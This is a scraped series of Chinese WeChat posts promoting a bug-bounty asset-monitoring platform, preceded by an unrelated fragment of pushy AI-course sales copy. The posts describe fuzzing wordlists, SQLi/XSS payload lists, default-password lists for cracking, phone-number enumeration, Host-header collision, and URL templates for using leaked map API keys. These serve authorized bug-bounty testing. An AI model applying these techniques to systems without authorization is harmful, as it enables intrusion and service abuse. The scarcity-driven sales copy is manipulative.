这是我们团队耗时两个月整理的独家秘籍，10万字干货。包括AI写网文、AI做电商文案、AI生成带货视频脚本等，手把手教你变现。

福利3：送价值699元《AI公众号爆文写作指南》

两万字精华，专门教你怎么用AI写出10万+爆文。从提示词技巧到账号运营，全流程覆盖。

注意：以上福利仅限通过此文下单的朋友领取！

▼扫码下单，领取全套教程

399元长期使用，仅剩20席

十、最后唠两句

这20个长期会员的名额，是我们争取了好几次才得来的，主要目的也是为了回馈热爱我们的粉丝。机会永远只留给果断的人，用399元，换取原本需要几万元才能享受的顶级AI服务，这笔账怎么算都划算。

空前优惠倒计时：

满20人前 ➞399元终身使用

满20人后 ➞长期会员通道关闭，只剩年卡

▼不想拍断大腿，就赶紧扫码

399员长期使用，仅剩20席

🎉评论区互动抽奖 🎉

今天高兴，给兄弟们再送一波福利！ 欢迎在底部评论区留言，聊聊：“你最想用我们的AI平台来帮你解决什么具体问题？”

我们将从精选留言中抽取3位走心粉丝直接赠送价值近2000元的『年度会员』一个！

抽奖暗号：留言越真诚和真实中奖率更高哦！冲冲冲~

跳转微信打开

SRC 活动上新，度小满全域翻倍活动，快来挖洞：

周末上线了一个新的功能，字典查询，当你在测试网站功能时，一定会用到 fuzz 功能，比如 Host 碰撞所需的 dns 字典，目录枚举时使用的目录字典，参数发现使用的常用参数字典等等，功能如图：

所有数据均来自实战过程积累的接口、字典经过统计去重后得出的结果，下面一一简单展示下能力：

1、Dns 字典，所有插入子域名库的子域名，会提取前缀作为字典插入到字典表，新插入一个子域名，相对应的字典命中次数加一，可以基于最新哦啊命中次数查询，也可以选择 top 多少个，可一键复制，导入 burp 直接开始 fuzz，非常方便，如图：

2、目录字典分为一级目录、备份文件名、通用漏洞接口、备份后缀以及功能文件名，分别适用于目录枚举的各种场景，数据来自于多年测试漏洞积累的漏洞接口中提炼而来

3、参数字典分为功能类参数、编号类参数、文件类参数、搜索类参数以及其他，适用于不同功能接口的参数名枚举，好不好用，只有试过才能知道

4、载荷字典，用于测试常见的 sql 注入和 xss 漏洞，总结那些好用但不好记忆的 payload，在测试功能漏洞时，一键复制，然后自动化枚举，让漏洞发现更简单

5、手机号字典，这里收录的是国内手机号码段及归属城市，在做手机号枚举时，可以选择北京这类超一线城市号段进行，成功的概率更大，也可以根据业务归属地，选择适合的号段进行测试

6、中文名字典，常用于用户名枚举，比如常见的邮箱地址，使用中文名命名的场景，非常有用

7、管理员用户名字典，主要以数据库服务字典、设备认证以及后台管理员等默认账号密码，数据来源于历史公布的通用系统、设备、服务的默认口令以及常用口令，还支持仅显示用户名或者密码的方式，便于进行口令破解

8、密码字典，默认账号密码无法破解的情况下，已知用户名，可以使用该字典，根据密码设置规则，提取相关字典进行测试，数据来源于大量密码字典分类提取统计所得

以上演示获取的数据量都是 top 10，可以更改 top 数量中的配置，获取全部或者指定数量的字典，大部分排序是通过使用频率来进行，该功能不对任何人开放，需要满足两个条件之一：

1、剩余积分超过 30 分

2、当前解锁有效项目超过 3 个

最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天没有新上的 SRC 活动，今天给大家分享一个平台的更新，先来看看当前 SRC 活动：

为了方便测试，在 SRC 平台，增加了工具导航页面，将挖 SRC 的常用工具集成到这里，可以一键跳转：

项目库有点小更新，增加了项目搜索，找 SRC 更方便：

最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天又有个 SRC 上新活动了，京东 SRC 高危/严重漏洞双倍积分、中通 SRC 也是双倍积分还累加奖励，平台已准备好资产，快来挖吧：

今天来聊聊测试网站时，需要了解哪些关键信息，当你已经解锁某个 SRC 后，在资产库通过筛选功能，找出其相关的资产，比如：

通过右侧的图片栏可以一目了然的看出网站功能是否正常，选择看起来功能正常的网站作为测试目标进行测试时，可以打开详情页了解一些基本情况，比如是否是通用系统，如图：

指纹识别的结果是一个路由器，截图虽然展示不全，但是也能看到 LANSwitch 这样的文字，了解的一看就知道是一个网络设备，可以打开网站确认一下：

确实是华为的设备，针对这类通用系统的测试，只需要找出其历史出现过的漏洞进行验证测试即可，如果不存在历史漏洞，可以忽略它，不需要花太多时间进行测试。

因为这是一个 IP 站，需要确认其是否是目标资产，之前也发过如何判断一个 IP 站的归属，可以再次复习一下《多种方式确认 IP 资产归属》,这个案例，直接看 C 段证书就能看出来，整个 C 段都是目标的，如图：

或者查看 C 段网站列表，基本都是目标的资产：

上面说的是通用类网站系统，这种不属于目标自研系统，使用的是一些网络设备、开源软件、商业系统类产品，只需要测试历史漏洞即可，如果是自研系统，可能需要我们自己手工一一测试其功能。比如：

指纹识别出来 oss 以及 react-app，这种网站我们需要关注其 js 中隐藏的信息，比如各类 APIKEY、接口等信息，在测试之前，可以先看看平台已经获取到的信息，比如接口：

这里接口收集的可能不全，要完整测试还是需要自己做一次完整接口提取，这里做个大概了解即可，而且提取的结果组合可能存在错误，因为有些网站有一个共用路径然后拼接接口，比如 /api/ 之类的，需要具体情况具体分析，接口来源 js 也都有展示。

然后关于 js 中的敏感信息，可以查看网站 js 信息标签下的内容，抓取到的 js 会在这里展示，尤其关注一下命中关键信息的部分：

了解大概之后，就可以对其进行手工测试了，最后总结一下，重点需要关注的几个部分：

1、是否是目标资产，最好先去 SRC 官网了解测试范围以及测试规范

2、是否是通用系统，可以指导我们的测试方向

3、关注接口和 js 信息，了解其网站架构，制定不同的测试方案

最后欢迎大家注册体验 SRC 资产监控系统，使用上有任何问题都可以跟我反馈：

注册地址：http://src.xazlsec.com（注册码：XAZLSEC 有效期自 4 月 30 日，过时后不再对外随意注册）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天分享一个被大家忽略的漏洞，地图 API 的 key 泄露问题，目前还有大量网站存在该风险，不过由于危害不足没有得到重视，在此之前，看看今天有哪些 SRC 有活动：

系统调用地图 key 是付费的，但是价格好像也不高，如果 key 泄露，可以被他人调用刷取额度，导致资金损失，但是成本好像不太高，危害不太够，国内三大地图企业 API 格式及价位。

高德地图

一万次调用 30 块，被盗刷的危害也就是经济损失。案例：

高德 webapi

https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=这里写key

高德 jsapi

https://restapi.amap.com/v3/geocode/regeo?key=这里写key&s=rsv3&location=116.434446,39.90816&callback=jsonp_258885_&platform=JS

高德小程序定位

https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&appname=c589cf63f592ac13bcab35f8cd18f495&sdkversion=1.2.0&logversion=2.0

百度地图

按年付费，如果被盗刷的危害，每日额度别消耗完后，服务提供不可用。案例;

百度 webapi

https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行&region=北京&output=json&ak=这里写key

百度 webapi IOS 版

https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行&region=北京&output=json&ak=这里写key=iPhone7%2C2&mcode=com.didapinche.taxi&os=12.5.6

腾讯地图

固定配额，被盗刷的危害，每日额度别消耗完后，服务提供不可用。案例：

腾讯 webapi

https://apis.map.qq.com/ws/place/v1/search?keyword=酒店&boundary=nearby(39.908491,116.374328,1000)&key=这里写key

SRC 监控平台，发现大量网站存在地图 API key 泄露的情况：

由于危害不足，没有引起大家的注意，各大 SRC 可能不收录相关风险，你是否交过类似漏洞，是否被收录，欢迎留言！

最后欢迎注册体验：

平台地址：http://src.xazlsec.com（注册码：XAZLSEC）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天要分享的是白帽子测试安全规范，在此之前还是要分享一下当前有奖励活动的 SRC 有哪些：

之前一月份出台了一份《网络犯罪防治法（征求意见稿）》目前还处于征求意见的阶段，其中有一段与所有白帽子相关，如图：

如果这个规定正式发布，那么所有白帽子在测试目标之前都需要获得网信部门的批准和授权，那么对于挖企业 SRC 来说是否有影响？昨天已经有 SRC 出台了相关测试规范，要求测试企业资产之前，需要先申报获得审批后才可以进行测试：

后面还明确提供了需要申请的信息填写规范，还比较详细，相当于是实名测试：

对于企业而言，可以有效控制白帽子的测试影响，对于未授权测试导致生产事故的白帽子可以追责，而对于白帽子而言，测试每一个系统都要进行授权申请，无异是增加了白帽子工作量，整体来看是行业的进步，能够降低一些黑灰产人员冒充白帽子做一些恶意测试。关于此，你有什么看法？欢迎留言讨论。

最后欢迎注册体验：

平台地址：http://src.xazlsec.com（注册码：XAZLSEC）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天要分享的是如何确认 IP 的归属，在此之前还是要分享一下当前有奖励活动的 SRC 有哪些：

要确认 IP 的归属，主要通过域名解析记录、端口证书信息、同 C 段下的资产信息已经网站中的蛛丝马迹。

子域名解析

这个最常见，如果只有一个域名解析到该 IP 地址，那么可以确定该 IP 的归属，如果多个域名解析到该 IP，且这些域名都不属于一个公司，那么这个 IP 可能是云服务的 IP 地址，不属于任何一方域名，而是属于云服务提供商，比如 CDN 服务或者云 WAF 等 SaaS 服务。比如：

IP 存在解析记录关联，也可以通过那些收录大量解析记录的网站反查 IP 解析记录，比如：

我们再来测试一个云服务的 IP 地址：

我们可以看到有一万多个域名解析，这就是明显的区别，在我们的 SRC 平台在收集资产的时候，已经对云服务的 IP 做了自动化识别，尽可能减少针对云服务 IP 的端口监控，从而降低噪声，提高测试效率。

端口证书

这种方式需要目标给端口配置证书后才可利用，证书配置的端口可能是任意一个开放的端口，所以在获取证书信息时，需要先做端口扫描，然后再针对端口提取证书信息，这部分工作已经集成到 SRC 平台的自动化信息收集中，比如：

有这个作为资产证明的依据也是完全可以的。

同 C 段资产

如果相同 C 段下的 IP 关联到的证书域名同属于一个公司，那么这个 IP 段就有可能是该公司所注册，那么这个 C 段下的所有 IP 地址都属于该公司，比如：

这个方法可能存在误报的情况，那么可以再检查一下同 C 段下的网站资产是否同属一个公司，如果存在一个例外，那么这个 C 段属于该企业的结果就不再成立，比如：

发现一个公司 深圳市晶瑞系统科技有限公司，经过爱企查查询该公司并不属于上面的平安银行，所以可以确定该 C 段不属于目标：

所以在测试 IP 资产时，一定要先确认一下 IP 站点是否属于该公司，如果不属于，请忽略它，不做无用功，作为一个通用性平台，可能无法做到资产完全正确，一定存在各种例外的情况，所以需要你在测试之前，确定好范围以及当前测试目标的归属问题。

网站页面

国内的网站发布需要在页面中增加备案号等信息，那么如果 IP 站点页面存在备案号信息，可以通过备案号反查来确认，比如：

通过备案号查询归属，点击备案号的链接，直接可以去官方查询：

网站也许没有陪孩子备案号，但是还有一些 logo、图片、文字等信息，也可以作为确认归属的证据，比如：

还可能有一些引用了大量目标 js 信息的情况，比如：

通过查看网站详情页，多方面数据组合可以很快确认目标资产的归属，测试起来一目了然。最后欢迎注册体验：

平台地址：http://src.xazlsec.com（注册码：XAZLSEC）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天要分享是本周 SRC 平台的一个小更新，在此之前还是要分享一下当前有奖励活动的 SRC 有哪些：

本周对网站详情页做了一个小更新，增加了网站的变更记录，如果网站后续发生变更后，可以直观的看到，主要变更包括标题变更、截图变更、指纹变更、server 信息变更等，如图：

上面的案例是刚发现的资产还未截图，所以没有截图变更记录，下面的案例就是比较完整的案例：

最后欢迎注册体验：

平台地址：http://src.xazlsec.com（注册码：XAZLSEC）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

今天来分享一下在开发 SRC 资产管理系统时，如何给网站去重，从而降低测试范围提高测试效率的，在此之前还是要分享一下当前有奖励活动的 SRC 有哪些：

回到正题，我的去重方法其实很简单，在获取完网站的基本信息包括 header、body 后，提取网站固定字段后，进行 md5 哈希计算，以此作为网站的唯一性校验。

以 src 平台作为案例，获取到的 header 信息为：

Content-Length: 6567
Accept-Ranges: bytes
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Cross-Origin-Opener-Policy: same-origin
Date: Thu, 12 Mar 2026 02:54:38 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Referrer-Policy: same-origin
Server: openresty
Vary: Cookie
Via: CHN-SXlinfen-CUPN1-CACHE13[104],CHN-SXlinfen-CUPN1-CACHE34[100,TCP_MISS,102],CHN-HEshijiazhuang-GLOBAL1-CACHE62[56],CHN-HEshijiazhuang-GLOBAL1-CACHE68[46,TCP_MISS,49]
X-Ccdn-Cachettl: 0
X-Ccdn-Origin-Time: 46
X-Ccdn-Req-Id-46b1: 1395fcb56c6cdb9350d467a348895142
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Hcs-Proxy-Type: 0

从 header 中提取 header key，也就是以冒号分割，前面的那一列，比如：

Content-LengthAccept-Ranges....

然后提取几个固定的字段内容，比如 Server 的内容 openresty、Content-Type 的内容 text/html; charset=utf-8，还有网站的响应状态码。

然后从 body 内容中提取出标题，比如：开启 SRC 漏洞赏金之旅，除此之外还需要根据不同的网站类型，提取域名或者 IP 作为关键词。

在 SRC 系统上，针对网站资产划分为三类：域名网站、IP 网站以及组合网站。

域名网站就是通过域名直接访问的网站，IP 网站就是通过 IP+端口组合起来访问的网站，而组合网站就是通过 Host 碰撞，通过 IP+80 或者 IP+443 然后变换请求 header 中的 Host 字段枚举出来的网站（这部分也是咱们平台的特色功能）。

根据不同的网站类型，提取域名或者 IP，当网站类型是域名网站和组合网站时，通过提取主域名+headerkey+关键字段内容+标题来获取哈希值，如图：

而 IP+端口的 IP 网站则通过 IP+headerkey+关键字段内容+标题来获取哈希值，如图：

headerkey 的获取，就是提取相应 header 中的所有 key，来组成一个字符串，最终根据不同的网站类型结合哈希值来确保没有重复的网站，这样的效率相对较高，但是也可能会存在漏报和误报的情况。

最后推荐大家重点关注下组合网站的资产，可能会发现一些隐藏在内网的资产以及 CDN、云 WAF 背后的真实网站，说不定一下就能发现隐藏漏洞，最后欢迎注册体验：

平台地址：http://src.xazlsec.com（注册码：XAZLSEC）

如果你想体验一下非 10 积分的 SRC 项目，可以选择小积分充值，10 积分等于 10 元，联系我即可，新加入知识星球、新续费知识星球以及当前知识星球有效期内的同学，可以联系我获得 100 积分赠与。

跳转微信打开

报喜，昨天注册平台并解锁某讯 SRC 项目的用户，仅 1 小时，首个某讯超低危漏洞确认了：

今天准备给大家聊聊这个系统的定位问题，很多同学把它理解成自动信息收集的平台，其实，并非一个单纯的信息收集平台，在开始之前，先看看当前有效的 SRC 活动有哪些（没有收录的欢迎提供活动地址）：

当前有活动的项目都是优质项目，如果你要开始挖 SRC，可以选择其中任意一个，可以价值最大化。

这个系统设计之初是方便我做手工测试的资产管理，当我测试完一个系统之后，我可以给这个资产打个标记，写个备注，表明我已经测试过，无需再次测试，当资产发生变化时，再进行测试，所以应该是一个测试记录管理系统。

随着数据和信息的收集，其实服务器成本、时间成本都挺高的，而且有上万的系统可以测试获得赏金，自己一个人又测试不过来，所以独乐乐不如众乐乐，于是设置开发了用户系统，为每一个使用系统的人都可以有自己独立的测试记录，成为一个 SRC 挖洞的 SaaS 平台。

经过多年的发展，通过自动化手段发现 SRC 漏洞的可能性越来越小，手工挖洞势在必得，但是在自己想要挖一个项目之前，首先需要做的就是获取资产，当你选择自己做信息收集时，服务器成本和时间成本都不低，不是为了学习而去信息收集，倒不如花点小钱，订阅一个项目来的划算。

前面的几篇文章已经介绍了不好关于该平台的所涉及的技术内容，平台在信息收集方面已经涵盖了 SRC 所关心的子域名、IP、C 段 IP、网站指纹、JS 关键词匹配、接口收集等等重要内容，数据还在持续更新中，针对网站的截图和 JS 信息匹配所消耗的时间比较长，这是一个非常漫长的过程。

该平台只提供了资产浏览以及给资产打标记和备注的功能，让挖洞变得更加专注，无需关心任何信息收集的事儿，只需要打开网站按照自己的 CheckList 完成测试即可，挖到漏洞，一键直达 SRC 提交地址，真心好玩儿，不信你试试。

注册地址：http://src.xazlsec.com（注册码：XAZLSEC）

新加入星球、新续费星球以及星球有效期内的同学都可以联系我领取 100 积分，100 积分可以解锁平台任意项目比如阿里、腾讯等超大型 SRC：

跳转微信打开

跳转微信打开